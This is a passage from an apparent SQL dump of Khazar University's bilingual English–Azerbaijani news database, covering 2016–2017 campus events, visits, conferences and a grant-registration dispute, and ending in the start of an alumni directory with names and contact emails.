mərhələlərinin\r\nəslində bir-biri ilə sıx bağlılığını və tarixçinin tədqiqat praktikasını əks\r\netdirdiyini qeyd etdi və simpozium iştirakçılarının bununla bağlı suallarını\r\ncavablandırdı.</p>'),(3556,2075,'en','Students\' Scientific and Practical Conference- \"E-Catalog - as a Result of High Information Technologies\"','On April 14, 2017, a scientific-practical conference, entitled \"E-catalog -as a result of high information technologies\" was held with the coordination of  Association for Development...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">On April 14, 2017, a scientific-practical conference, entitled\r\n\"E-catalog -as a result of high information technologies\" was held with\r\nthe coordination of &nbsp;Association for Development\r\nof Library Work in\r\nAzerbaijan and the\r\nsupport of the faculty of Library&nbsp; science and information\r\nat Baku State\r\nUniversity. The purpose of the conference was to shed light on the topics, such as the\r\nrole of electronic\r\ncatalog&nbsp;and\r\napplication of automation\r\nin &nbsp;information\r\nretrieval systems in libraries in Azerbaijan. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">&nbsp;Library&nbsp; heads and students made presentations and speeches in the\r\nevent. The\r\npresentations on application,\r\ncurrent situation and importance&nbsp; of\r\nautomation processes at&nbsp; Khazar\r\nUniversity Library and Information Center were also introduced.&nbsp; The\r\npresenters included Samira Orujova,&nbsp; Head\r\nof Cataloging Department of LIC, Khazar University, and Teymur Eyvazov, Lala\r\nSalahova, Aziza Atashova, students of Baku State University. At the end of\r\nthe conference the\r\nparticipants were awarded.</p>'),(3558,2085,'en','International Students of Khazar University in “The Idea Platform of Foreign Youth and Students” Project ','On April 13, 2017, the semifinal of the project entitled \"The Idea Platform of Foreign Youth and Students\" organized by the Baku International Student Club took place at ADA...','<p>On April 13, 2017, the semifinal of the project entitled \"The Idea\r\nPlatform of Foreign Youth and Students\" organized by the Baku\r\nInternational Student Club took place at ADA University.</p>\r\n<p>The goal of the project is to create a platform for\r\ninternational students and youth in Baku for expressing their views on topics\r\nof their interest. Twenty participants from 15 countries representing 9\r\nuniversities delivered their speeches in front of the jury. Each participant had\r\nfive minutes to deliver presentations which were evaluated by the jury on a\r\n5-point scale. The jury consisted of the representatives of the Ministry of\r\nEducation, Youth Foundation under the President of the Republic of Azerbaijan, National\r\nCouncil of Youth Organizations of Azerbaijan, Baku City Circuit Operating\r\nCompany, and local TV channels.</p>\r\n<p>Two international students of Khazar University\r\nparticipated in the semifinal.</p>\r\n<p>“The future lies in the hands of the younger\r\ngeneration” says Justin Bongwong, an MBA student\r\nfrom Cameroon, who delivered a presentation, entitled “The Young Generation as Leaders of Tomorrow”.\r\nJustin spoke about the importance of investing in youth, protecting children\r\nagainst war crisis, and building a society where the young generation can grow\r\nand achieve their dreams.</p>\r\n<p>Michał Horbaczewski, a bachelor student from\r\nKozminski University (Poland) who spends his exchange semester at Khazar University\r\nwithin the Erasmus + Programme, gave a presentation about youth\r\nentrepreneurship.</p>\r\n<p>The final stage of the competition will be held on\r\nApril 25, 2017. The winners of the first three places will be\r\nawarded with cash prizes.</p>\r\n<p>\"The Idea Platform of Foreign Youth and\r\nStudents\" project is financed by the Youth Foundation under the President\r\nof the Republic of Azerbaijan and is carried out with support of the Graduate\r\nStudent Government of ADA University.&nbsp;</p>'),(3559,2086,'en','Instrutor of History and Archeology Department at International Symposium','On April 10-13, 2017, Ziyad Amrahov, PhD in History, Head of  the Division of Armenian Studies in the Caucasian Studies Institute of the Azerbaijan National Academy of...','<p>On April\r\n10-13, 2017, Ziyad Amrahov, PhD in History, Head of &nbsp;the Division of Armenian Studies in the\r\nCaucasian Studies Institute of the Azerbaijan National Academy of Sciences&nbsp;,\r\ninstructor of the Department of History and Archeology of Khazar University,\r\ndelivered a presentation on “Historical research methods and types” at the\r\ninternational symposium entitled \"The history and historiography\".\r\nThe symposium, dedicated to the memory of Professor Halil Inalcik, was\r\ncoordinated at Gazi University, Turkey in joint cooperation with Prime Ministry\r\nHigher Institution of Ataturk Culture, Language and History, Turkish Historical\r\nSociety and Gazi University. </p>\r\n<p>At the\r\nend of his presentation Z. Amrahov emphasised that historical research stages\r\nare&nbsp; closely connected and reftect\r\nresearch practice of the historian. Then he answered related questions of the\r\nparticipants.</p>'),(3560,2084,'en','  American Professor Held Workshop on “Public Speaking”','On April 17, 2017, a workshop on” Public Speaking” was held at Khazar University, “Neftchiler” campus. The guest of the workshop was, Dr. Sam Potolicchio, Professor of...','<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\">On April\r\n17, 2017, a workshop on” Public Speaking” was held at Khazar University,\r\n“Neftchiler” campus. The guest of the workshop was, Dr. Sam Potolicchio,\r\nProfessor of Georgetown University, USA.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\">&nbsp;The one hour workshop, attended by the student\r\nof School of Humanities and Social Sciences,&nbsp;\r\n&nbsp;covered the following topics - the\r\nsecrets of effective public speaking, political communication and ways of\r\navoiding anxiety before speech.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\">The\r\nworkshop was organized by Khazar University Career Development Center and Office\r\nof International Affairs with initiative of the US Embassy in Azerbaijan.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\">After\r\nthe presentation, Dr. Potolicchio met with Hassan Niknafs, President of the University.</p>'),(3561,2083,'en',' Faculty Members of Department of Geography and Environment at International Forum in Malaysia','On April 18- 19, 2017, Rovshan Abbasov, Head of Department of Geography and Environment of Khazar University and the teacher of the mentioned department Rovshan Karimov...','<p>On April 18-\r\n19, 2017, Rovshan Abbasov, Head of Department of Geography and Environment of\r\nKhazar University and the teacher of the mentioned department Rovshan Karimov\r\ntook part at the 11th Cooperative Green Growth Modeling Forum held in Kajang,\r\nMalaysia.</p>\r\n<p>Rovshan Abbasov\r\nmade a presentation on the outcomes of the research work on «The optimization of\r\ntransport in Baku to reduce greenhouse gases».</p>'),(3562,2044,'az','Silviya Zimmerman del Kastillo ilə görüş','2017-ci il, aprelin 6-da Azərbaycan Yazıçılar İttifaqında Argentiniya yazıçısı və “La Nación”-ın daimi üzvü Silviya Zimmerman del Kastillo ilə görüş keçirildi. Görüşdə Latın...','<p>2017-ci il, aprelin 6-da Azərbaycan\r\nYazıçılar İttifaqında Argentiniya yazıçısı və “La Nación”-ın daimi üzvü Silviya\r\nZimmerman del Kastillo ilə görüş keçirildi. Görüşdə Latın Amerikası ölkəkərinin\r\nAzərbaycandakı səfiri, Azərbaycan yazıçıları və incəsənət adamları iştirak etdi.\r\nGörüşdə həmçinin, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri Professor Hamlet İsaxanlı da iştirak edib.</p>\r\n<p>Silvia Zimmerman del Castillo\r\nArgentina yazıçısı Xorxe Luis Borxesin bədii yaradıcılığı haqqında danışıb.\r\nProfessor H. İsaxanlı Borxesin əsərlərinin bəzi aspektlərindən - əsərlərindəki\r\nSufi mövzusundan, Averroes (İbn Ruşd) haqqındakı hekayəsindən və hekayənin\r\npsixoloji və fəlsəfi xüsusiyyətlərindən bəhs etdi.</p>'),(3563,2088,'az','Müqayisəli ədəbiyyat və mədəniyyətə həsr olunmuş elmi-praktik konfrans keçirildi','2017-ci il aprelin 20-dən 21-dək Xəzər Universiteti və Azərbaycan Müqayisəli Ədəbiyyat Assosiasiyasının birgə təşkilaçılığı ilə universitetin “Neftçilər” korpusunda “Müqayisəli...','<p>2017-ci il aprelin\r\n20-dən 21-dək Xəzər Universiteti və Azərbaycan Müqayisəli Ədəbiyyat\r\nAssosiasiyasının birgə təşkilaçılığı ilə universitetin “Neftçilər” korpusunda “Müqayisəli\r\nədəbiyyat və mədəniyyət: təkrarlanan mədəniyyətlərdə prototiplər və genomlar”\r\nadlı elmi-praktik konfrans keçirildi. Konfransı giriş sözü ilə Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı\r\naçaraq qonaqları salamladı. Sonra Azərbaycan Müqayisəli Ədəbiyyat\r\nAssosiasiyasının prezidenti professor Rəhilə Qeybullayeva qonaqlara konfrans\r\nhaqqında geniş məlumat verdi. Daha sonra ədəbiyyat və mədəniyyətin müxtəlif sahələri\r\nilə əlaqədar məruzələr dinlənildi. Konfransda Finlandiyadan, Türkiyədən,\r\nRusiyadan alimlər iştirak edirdilər.</p>'),(3564,2089,'en','Meeting with the Ambassador of Iraq ','On April 21, 2017, Rector of Khazar University Dr. Hassan Niknafs and Director of International Affairs Office Turan Jafarova visited the Embassy of Iraq where they had a meeting with...','<p>On April 21, 2017, Rector of Khazar University Dr. Hassan Niknafs and\r\nDirector of International Affairs Office Turan Jafarova visited the Embassy of\r\nIraq where they had a meeting with the Ambassador Extraordinary\r\nand Plenipotentiary&nbsp;of\r\nIraq to the Azerbaijan Republic Dr.\r\nFadhil Awad Jebur AL-Shuwai. Mr. Al Hashimi Yousuf, president of the Centre for\r\nAssistance in Rendering of Treatment and Educational Services, an agency\r\nproviding educational consultancy and services, also participated in the\r\nmeeting. </p>\r\n<p>The Ambassador emphasized the role of Khazar University as one of the\r\nleading universities in the country and expressed his gratitude for the work it\r\ndoes educating students from Iraq. The Ambassador referred to the decision of\r\nthe Ministry of Higher Education and Scientific Research of Iraq from August of\r\n2016 about the recognition of several universities in Azerbaijan and stressed\r\nthat he personally recommended Khazar as one of the best universities in\r\nAzerbaijan providing high quality education. The Ambassador also stressed that\r\nrecognition of some of other local universities had been revoked due to their\r\nlow performance and negative practice. Rector of Khazar Universiry, Dr. Hassan\r\nNiknafs thanked the Ambassador fort the trust and emphasized that Khazar\r\nUniversity was committed to preparing high-quality specialists. </p>\r\n<p>Meeting participants also discussed recruitment of Iraqi students and\r\nformalizing the cooperation between the Embassy and Khazar University by\r\nsigning a Memorandum of Understanding (MoU). The Centre for Assistance in\r\nRendering of Treatment and Educational Services will be the implementing\r\npartner of the collaboration spelled out in the MoU.</p>\r\n<p>The Ambassador invited the representatives of Khazar University to a\r\nceremony during which a special award recognizing achievements of Khazar\r\nUniversity will be presented. The ceremony will take place on April 27, 2017.&nbsp;</p>'),(3565,2090,'az','“Anadolu” qəzetində professor Hamlet İsaxanlının iştirak etdiyi yubiley tədbiri haqqında məqalə','Ankarada çıxan “Anadolu” qəzetinin 24 aprel 2017-ci il tarixli nömrəsində qəzetin köşə yazarı, eyni zamanda Azərbaycan “Respublika” qəzetinin Türkiyə təmsilçisi, Azərbaycanın...','<p>Ankarada çıxan “Anadolu” qəzetinin 24 aprel 2017-ci\r\nil tarixli nömrəsində qəzetin köşə yazarı, eyni zamanda Azərbaycan “Respublika”\r\nqəzetinin Türkiyə təmsilçisi, Azərbaycanın Əməkdar incəsənət xadimi, Prof. Dr.\r\nƏflatun Nemətzadənin TÜRKSOY´un (Beynəlxalq Türk Mədəniyyət Təşkilatı) Baş\r\nkatibi Düsen Kaseinovun 70 illik yubileyi münasibətilə Azərbaycan Atatürk Mərkəzində\r\nkeçirilmiş tədbir haqqında “Düsen Ağa´ya Bakü´de 70. Yılı yubilesi” &nbsp;adlı geniş məqaləsi dərc olunmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Məqalədə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlının həmin tədbirdə iştirakı və çıxış etməsi, həmçinin ona Düsen\r\nKaseinov tərəfindən “Azerbaycan, Kazakıstan, Kırgızıstan, Özbekistan\r\nCumhuriyetlerinin ve Türkmenistan’ın bağımsızlıklarının 25. Yılı anısına”\r\nmedalının təqdim olunması &nbsp;haqqında da\r\nyazılmışdır.</p>\r\n<p>Məqaləni aşağıdakı link vasitəsilə oxumaq olar:</p>\r\n<p><em><a href=\"http://www.anadolugazete.com.tr/dusen-agaya-bakude-70-yili-jubilesi-415yy.htm\">http://www.anadolugazete.com.tr/dusen-agaya-bakude-70-yili-jubilesi-415yy.htm</a>&nbsp;&nbsp;</em></p>'),(3569,2093,'az','“Səslən, tarım” adlı tədbir “Mədəniyyət”də','2017-ci il aprelin 19-da “Mədəniyyət” qəzetində aprelin 14-də Xəzər Universitetin “Dünya” konsert salonunda görkəmli tarzən, xalq artisti, professor Ramiz Quliyevin 70 illik yubileyinə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 19-da “Mədəniyyət” qəzetində aprelin\r\n14-də Xəzər Universitetin “Dünya” konsert salonunda görkəmli tarzən, xalq\r\nartisti, professor Ramiz Quliyevin 70 illik yubileyinə həsr olunmuş “Səslən,\r\ntarım” adlı tədbir haqqında yazı çap olunmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazı\r\nilə “Mədəniyyət” qəzetinin 29-cu nömrəsində (№29 (1417) 19 aprel 2017-ci il)\r\ntanış olmaq olar.</p>'),(3567,1989,'en','Meeting Dedicated to Study Abroad Held  in Department of History and Archeology','On March 18, 2017, on the eve of  Novruz holiday,Associate Professor Roza Arazova, Head of the Department of History and Archeology, Khazar University, held meeting...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On March 18, 2017, on the eve of &nbsp;Novruz holiday,Associate Professor Roza Arazova, Head of the\r\nDepartment of History and Archeology, Khazar University, held meeting with students majoring in\r\nteaching the history of School of Education. Famous intellectuals of the country\r\nalso took part in the meeting.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Reyhan Huseynova,&nbsp;&nbsp;founder of&nbsp;‚‘University Foundation Center\" and\r\nvice-president of the Azerbaijan-France friendship group also took part in the\r\nmeeting and answered the questions of the students. During the meeting ,\r\nprestudy training courses in Baku, free education in France, provision of\r\ndormitory for students and other matters were also covered.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Students majoring in history teaching of School of Education are studying&nbsp;“Khojaly-Gadabay\r\nculture\" heritage. The training was conducted by Nuride Atesh, director of\r\nCaucasus Studies Institute in Berlin. Nuride Atesh gave detailed and\r\ncomprehensive information to students&nbsp; on\r\nstuding in Germany, prespectives and opportunities in Europe for students`s\r\nfuture education and career. Nuride Atesh also noted that she will make all out\r\nefforts in training young&nbsp; professionals\r\nand researches for investigating rich cultural heritage of Khojali-Gadabay\r\nculture which has not been studied so far by the European museums.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Prof. Dr. Abbas Seyidov, Senior Research Fellow of the\r\nArcheology and Ethnography of ANAS Institute gave detailed information about\r\nKhojaly-Gadabay culture to students and emphasized that how it is important and\r\nhonorable to study the heritage of this brilliant culture. He noted that in\r\norder to reveal history of Azerbaijan as well as Nagorno Karabakh and to prove\r\nit to the world science, it is extremely important to learn Khojaly-Gadabay\r\ncultural heritage and it is one of the biggest challenges facing history.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">He expressed his gratitude to Ms. Roza Arazova, head\r\nof the department and N. Ateshi who taught the subject, for taking such a\r\ndifficult and responsible task to their shoulders.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">We should note that on March 3, 2017 the cooperation\r\nagreement signed between Khazar University and Lyon-2 University of France.\r\nThis agreement will provide many opportunities such as research, cooperation in\r\nvarious fields of education, teacher and student exchange programs between\r\nuniversities and it will give chances to students of Khazar University to study\r\nat Lyon-2 University. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In the end, head of department Ms. Roza Arazova\r\nexpressing deep gratitude to guests, gave her instructions and recommendations\r\nabout upcoming important tasks, goals and objectives in order to help students\r\nof Khazar University to continue their education in Europian Universities and\r\nto study cultural heritage of Khojaly-Gadabay culture and at the same time, she\r\nurged students to take advantage of all these opportunities.</p>'),(3530,2078,'en','Two Grants of Khazar University were not registered at the Ministry of Justice ','Khazar University is well known for its extensive international linkages in Azerbaijan as well as in the wider region.  One of the contributors to well-established international relations...','<p>Khazar University is well known for\r\nits extensive international linkages in Azerbaijan as well as in the wider\r\nregion.&nbsp; One of the contributors to well-established\r\ninternational relations is the number of grants Khazar University received for\r\nthe last 10 years. Khazar University received numerous grants with high impact\r\non its development as well as that of other Azerbaijani universities. &nbsp;Specifically, grants constantly received for\r\nthe last several years were spent on teacher development, student exchange\r\nprograms, and in general, on the reforms of the education system. </p>\r\n<p>For the past two years two important\r\nprojects for the Azerbaijani education system were transferred to other\r\nEuropean universities due to the reason that they were not registered at the\r\nMinistry of Justice. It is worth to mention that Khazar University was the only\r\ngrant coordinating university supported by the European Commission for 2015-2017.\r\n</p>\r\n<p>In 2015, the grant for the project\r\nentitled “Advocacy\r\nEstablishment for Students through Ombudsman Position” with a budget of 579&nbsp;000\r\nEuros gained from the ERASMUS + programme of the European Commission was\r\ntransferred to Akaki Tsereteli University of Georgia. &nbsp;</p>\r\n<p>In\r\n2016, the grant for the “Promoting Excellence in Teaching and Learning at\r\nAzerbaijani Universities” project with a budget of 909&nbsp;000 Euros was transferred\r\nto Universitat Politechnica de Valencia of Spain. </p>\r\n<p>We\r\nregret to inform that both projects were not registered by the Ministry of\r\nJustice even though proper documents were timely submitted. The discriminatory attitude\r\nof the Ministry of Justice becomes obvious when all other partners involved by\r\nKhazar University are registered (isn’t it strange?). Thus, 1 488&nbsp;000 Euros\r\nattracted for the development of education in Azerbaijan was transferred to\r\nEuropean universities, and consequently opinion that “there is no will to gain\r\nmoney for improvement of your education in Azerbaijan” is formulated and\r\nattracting new funds is becoming very complicated. &nbsp;&nbsp;&nbsp;&nbsp;</p>'),(3532,2048,'en','The Arabs Visiting Azerbaijan, Also Pursue the Goal of Becoming Student at Khazar University','On April 9 2017, the research on the goals of visitors to Azerbaijan from Arabic countries, conducted by the journalist Gular Abbasova, was introduced on the media. Among...','<p>On April 9\r\n2017, the research on the goals of visitors to Azerbaijan from Arabic\r\ncountries,&nbsp;conducted by the journalist Gular Abbasova, was introduced on\r\nthe media. Among the interviewed Arabs there are also those who chose Khazar\r\nUniversity for getting education. &nbsp;The research is available through the\r\nfollowing links:</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://xeber365.com/haber-r-b-olk-l-rind-n-az-rbaycana-g-l-nl-rin-hekay-tl-ri-5472.html\">http://xeber365.com/haber-r-b-olk-l-rind-n-az-rbaycana-g-l-nl-rin-hekay-tl-ri-5472.html</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://gundemxeber.az/olke/29451-ereb-olkelerinden-azerbaycana-niye-gelirler-arashdrma.html\">http://gundemxeber.az/olke/29451-ereb-olkelerinden-azerbaycana-niye-gelirler-arashdrma.html</a>. &nbsp;</p>'),(3533,2060,'en','High Class Students of School 328 in Nizami District at Khazar University','On April 12 2017, the high class students of school 328 in Nizami District of Baku visited Khazar University in the framework of \'open doors days\' initiated by the Azerbaijani...','<p>On April 12 2017, the high\r\nclass students of school 328 in Nizami District of Baku visited Khazar\r\nUniversity in the framework of \'open doors days\' initiated by the Azerbaijani\r\nLanguage and Literature department.&nbsp;</p><p>The schoolchildren, after\r\nhaving attended classrooms, laboratories, and library, watched the video\r\npresentation of the university in the Marble hall.</p>\r\n<p>Then professor Hamlet\r\nIsakhanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, informed the students about the university,\r\nspecialists, and conditions of education and answered their questions. At the\r\nend of the event, Asif Nabiyev, the school director expressed his gratitude to\r\nthe university authority, Hamlet Isakhanli, and the organizers of the event for\r\nthe rendered hospitality and wished the relations between Khazar University and\r\nthe school be consolidated and&nbsp;expanded.&nbsp;</p>'),(2534,1530,'en','Open Class Program on Public TV','On November 2, 2016, the Open Class program was broadcast live on Public TV on the theme “Scientific Development and Academic Publications in Azerbaijan.”  Professor Hamlet Isaxanli...','<p>On November 2, 2016, the Open Class program was broadcast\r\nlive on Public TV on the theme “Scientific Development and Academic\r\nPublications in Azerbaijan.”&nbsp; Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees,\r\nparticipated in the program and presented his analysis of the current\r\nsituation. He emphasized the differences between the Soviet period and today,\r\nand he spoke about problems of scholars, institutes and universities. He also\r\ntouched on theoretical and practical differences as well as connections between\r\nscientific research and industry. He gave information about scientific journals\r\nincluding Khazar Journal of Humanities and Social Sciences, and about work that\r\nhas been done at Khazar University towards the development of science. He\r\nemphasized the importance of government policy on scientific development and\r\nmentioned current problems in the fields of grant registration and migration as\r\nwell as possible solutions to solve them. </p>\r\n<p>Participants on the Open Class program included\r\nrepresentatives of Khazar University, Baku State University and the Baku\r\nrepresentative for Intellectual Property of the Thomson Reuters Agency. The\r\nprogram included a detailed discussion about the challenges remaining for the\r\ndevelopment of science.&nbsp;</p>'),(2535,1530,'az','Təsisçi İTV-də “Açıq dərs” proqramının qonağı oldu','2016-cı il noyabrın 2-də İctimai Televiziyada yayımlanan “Açıq dərs” proqramının budəfəki mövzusu “Azərbaycanda elmin inkişafı və elmi nəşrlər problemi”nə həsr olunmuşdu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil noyabrın 2-də İctimai Televiziyada yayımlanan “Açıq dərs” proqramının budəfəki\r\nmövzusu “Azərbaycanda elmin inkişafı və elmi nəşrlər problemi”nə həsr\r\nolunmuşdu. Proqrama ekspert kimi dəvət olunmuş Xəzər Universitetinin təsisiçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı mövzu ətrafında\r\ntəhlil apardı, Sovet dövrü ilə müstəqillik dövrü arasındakı fərqləri vurğuladı,\r\nelm adamlarının, insitut və universitetlərin problemləri haqqında danışdı. O, nəzəriyyə\r\nvə tətbiq arasındakı fərqlərə, elmi tədqiqatla sənaye və şirkətlər arasındakı əlaqələrə\r\ntoxundu, elmi jurnallar, o cümlədən, “Xəzər Humanitar və Sosial Elmlər Jurnalı”\r\n(<em>Khazar Journal of Humanities and Social Sciences</em>) haqqında məlumat\r\nverdi, Xəzər Universitetində elmin inkişafı üzrə görülən işlərdən söhbət açdı.\r\nH.İsaxanlı elmin inkişafı üzrə dövlət siyasətinin vacibliyini qeyd edərək,\r\nqrantların qeydiyyatı və miqrasiya sahəsindəki mövcud problemlərə toxundu və\r\nyaranmış maneələrin aradan qaldırılması yolları barəsində danışdı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversiteti, Bakı Dövlət Universiteti və <strong><em>Thomson Reuters</em></strong> agentliyinin\r\nintellektual mülkiyyət üzrə Bakı nümayəndəliyin də təmsil olunduğu “Açıq dərs”\r\ncanlı proqramında elmin inkişafı üzrə qarşıda duran problemləri ətraflı şəkildə\r\nmüzakirə edildi.&nbsp;</p>'),(2536,1531,'az','I il tələbələri Qala Arxeoloji-Etnoqrafik Müzey Kompleksində ekskursiyada oldular','2016-cı il noyabrın 1-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri Roza Arazova və departamentin müəllimi Orxan Zamanovun rəhbərliyi ilə tarix müəllimliyi ixtisası...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2016-cı\r\nil noyabrın 1-də Xəzər Universitetinin Tarix və arxeologiya departamentinin\r\nmüdiri Roza Arazova və departamentin müəllimi Orxan Zamanovun rəhbərliyi ilə\r\ntarix müəllimliyi ixtisası üzrə təhsil alan I il tələbələri Qala\r\nArxeoloji-Etnoqrafik Müzey Kompleksində ekskursiyada oldular. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Müzey\r\nbələdçisi tərəfindən tələbələrə bir çox maraqlı məlumatlar verildi. İlk dəfə\r\nmüzeydə olan tələbələr buradakı ekspanatlara maraqla baxış keçirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Tələbələr\r\nəvvəlcə açıq səma altında yerləşən müzeylə və buradakı eksponatlarlarla tanış\r\noldular. Daha sonra “Əntiq Əşyalar müzeyi” və Qala Qəsrində olan tələbələrə\r\n“Müzeydən nə öyrəndik” adlı məşğələ-təqdimat tapşırıldı.</p>'),(2526,1524,'az','Təsisçi isveçrəli nümayəndə heyətini qəbul etdi','2016-cı il noyabrın 2-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İsveçrə Dövlət Əməkdaşlıq və İnkişaf Katibliyinin proqram...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil noyabrın 2-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı İsveçrə Dövlət Əməkdaşlıq və İnkişaf\r\nKatibliyinin proqram meneceri Reto Veyermenin&nbsp; (<em>Reto Weyermann, Program\r\nManager of State Secretariat for Economic Affairs, SECO, Switzerland</em> )\r\nbaşçılıq etdiyi nümayəndə heyəti ilə görüş keçirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə\r\nXəzər Universitetində fəaliyyət göstərən Avrasiya Bilik Mərkəzinin (<em>Eurasia\r\nExtractive Industries Knowledge Hub</em>) cari fəaliyyəti, habelə,&nbsp; mərkəzin\r\nidarəçiliyi ilə növbəti ildə xüsusi setrtifikat proqramına start verilməsi məsələləri\r\nmüzakirə edildi. &nbsp;</p>'),(2527,1524,'en','Hamlet Isaxanli Hosts Swiss Organization Representatives','On November 2, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, hosted Reto Weyermann, Program Manager of the...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 2, 2016, Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, hosted Reto Weyermann, Program Manager of the State\r\nSecretariat for Economic Affairs, SECO, Switzerland, and his delegation. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">During the meeting, the guests learned\r\nabout the Eurasia Extractive Industries Knowledge Hub affiliated with Khazar\r\nUniversity, including its current activities. They also discussed the issue of\r\nstarting up a special certificate program through the Center next year.&nbsp;</p>'),(2539,1529,'en','School of Education','School of Education','<p><strong><a href=\"#A\">A</a> <a href=\"#B\">B</a> &nbsp;<a href=\"#F\">F</a> <a href=\"#G\">G</a>&nbsp;J&nbsp;<a href=\"#H\">H</a> <a href=\"#K\">K</a> <a href=\"#L\">L</a> <a href=\"#M\">M</a> <a href=\"#N\">N</a> <a href=\"#S\">S</a> &nbsp;<a href=\"#U\">U</a> &nbsp;<a href=\"#V\">V</a> <a href=\"#Y\">Y</a></strong></p><p><strong></strong></p><h3 id=\"A\">A</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynura Aliyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Chemistry and Biology Education&nbsp;\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:a.aliyeva00@gmail.com\">a.aliyeva00@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:a.aliyeva00@gmail.com\"></a>2014</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Vahidova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Aynur_vahidova@mail.ru\">Aynur_vahidova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Hasanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mathematics and Computer Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:aynrhasanova@gmail.com\">aynrhasanova@gmail.com</a></p>\r\n<p style=\"\" 